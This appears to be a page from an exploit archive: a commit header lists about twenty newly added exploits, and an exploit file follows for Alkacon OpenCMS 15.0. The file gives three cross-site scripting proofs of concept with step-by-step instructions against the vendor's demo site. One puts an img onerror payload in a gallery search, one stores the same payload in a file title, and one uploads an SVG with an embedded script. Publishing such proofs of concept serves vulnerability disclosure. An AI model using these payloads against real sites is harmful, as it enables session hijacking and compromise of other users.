ef9b4e5962
20 changes to exploits/shellcodes/ghdb TP-Link TL-WR940N V4 - Buffer OverFlow D-Link DAP-1325 - Broken Access Control Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) FuguHub 8.1 - Remote Code Execution GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS) PodcastGenerator 3.2.9 - Blind SSRF via XML Injection POS Codekop v2.0 - Authenticated Remote Code Execution (RCE) Prestashop 8.0.4 - Cross-Site Scripting (XSS) Rukovoditel 3.4.1 - Multiple Stored XSS Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) spip v4.1.10 - Spoofing Admin account Time Slot Booking Calendar 1.8 - Stored Cross-Site Scripting (XSS) Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS) WBCE CMS 1.6.1 - Open Redirect & CSRF WebsiteBaker v2.13.3 - Directory Traversal WebsiteBaker v2.13.3 - Stored XSS WP AutoComplete 1.0.4 - Unauthenticated SQLi
40 lines
No EOL
1.5 KiB
Text
40 lines
No EOL
1.5 KiB
Text
# Exploit Title: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS)
|
|
# Date: 1/07/2023
|
|
# Exploit Author: tmrswrr
|
|
# Vendor Homepage: http://www.opencms.org
|
|
# Software Link: https://github.com/alkacon/opencms-core
|
|
# Version: v15.0
|
|
|
|
|
|
POC:
|
|
|
|
1 ) Login in demo page , go to this url
|
|
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/.galleries/livedemo/!!
|
|
2 ) Click /.galleries/ , after right click any png file , open gallery, write in search button this payload
|
|
<img src=. onerror=alert(document.domain)>
|
|
3 ) You will be see alert box
|
|
|
|
POC:
|
|
|
|
1 ) Go to this url , right click any png file, rename title section and write your payload : <img src=. onerror=alert(document.domain)>
|
|
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/230701/ld_go87op3bfy/.galleries/images/!!
|
|
2 ) You will be see alert box , stored xss
|
|
|
|
POC:
|
|
|
|
1 ) Go to this url , right click any png file and choose replace , click change file and choose your svg file
|
|
after save it
|
|
|
|
svg file:
|
|
|
|
<?xml version="1.0" standalone="no"?>
|
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
|
|
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
|
<script type="text/javascript">
|
|
alert("XSS");
|
|
</script>
|
|
</svg>
|
|
|
|
2 ) When click this svg file you will be see alert button |